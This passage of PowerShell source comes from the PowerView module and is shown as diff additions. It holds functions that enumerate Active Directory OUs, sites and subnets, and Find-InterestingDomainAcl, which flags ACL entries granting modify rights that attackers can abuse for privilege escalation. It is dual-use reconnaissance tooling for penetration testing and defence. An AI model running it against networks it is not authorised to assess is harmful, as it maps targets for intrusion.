*-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-InterestingDomainAcl + +Finds interesting object ACLS in the current domain. + +.EXAMPLE + +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] + [String] + $Domain, + + [Switch] + $ResolveGUIDs, + + [String] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain + } + + Get-DomainObjectAcl @ACLArguments | ForEach-Object { + + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + + if ($Object) { + $IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } + + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } + } + } +} + + +function Get-DomainOU { +<# +.SYNOPSIS + +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. + +.PARAMETER Identity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. + +.PARAMETER GPLink + +Only return OUs with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainOU + +Returns the current OUs in the domain. + +.EXAMPLE + +Get-DomainOU *admin* -Domain testlab.local + +Returns all OUs with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all OUs with linked to the specified group policy object. + +.EXAMPLE + +"*admin*","*server*" | Get-DomainOU + +Search for OUs with the specific names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +.OUTPUTS + +PowerView.OU + +Custom PSObject with translated OU property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $OUSearcher = Get-DomainSearcher @SearcherArguments + if (-not $OUSearcher) { + Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ + } + else { + $OU = Convert-LDAPProperty -Properties $_.Properties + } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } + $OUSearcher.dispose() + } + } +} + + +function Get-DomainSite { +<# +.SYNOPSIS + +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. + +.PARAMETER Identity + +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER GPLink + +Only return sites with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSite + +Returns the current sites in the domain. + +.EXAMPLE + +Get-DomainSite *admin* -Domain testlab.local + +Returns all sites with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all sites with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +.OUTPUTS + +PowerView.Site + +Custom PSObject with translated site property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SiteSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SiteSearcher) { + Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } + $SiteSearcher.dispose() + } + } +} + + +function Get-DomainSubnet { +<# +.SYNOPSIS + +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. + +.PARAMETER Identity + +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER SiteName + +Only return subnets from the specified SiteName. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSubnet + +Returns the current subnets in the domain. + +.EXAMPLE + +Get-DomainSubnet *admin* -Domain testlab.local + +Returns all subnets with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all subnets with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +.OUTPUTS + +PowerView.Subnet + +Custom PSObject with translated subnet property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SubnetSearcher) { + Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose 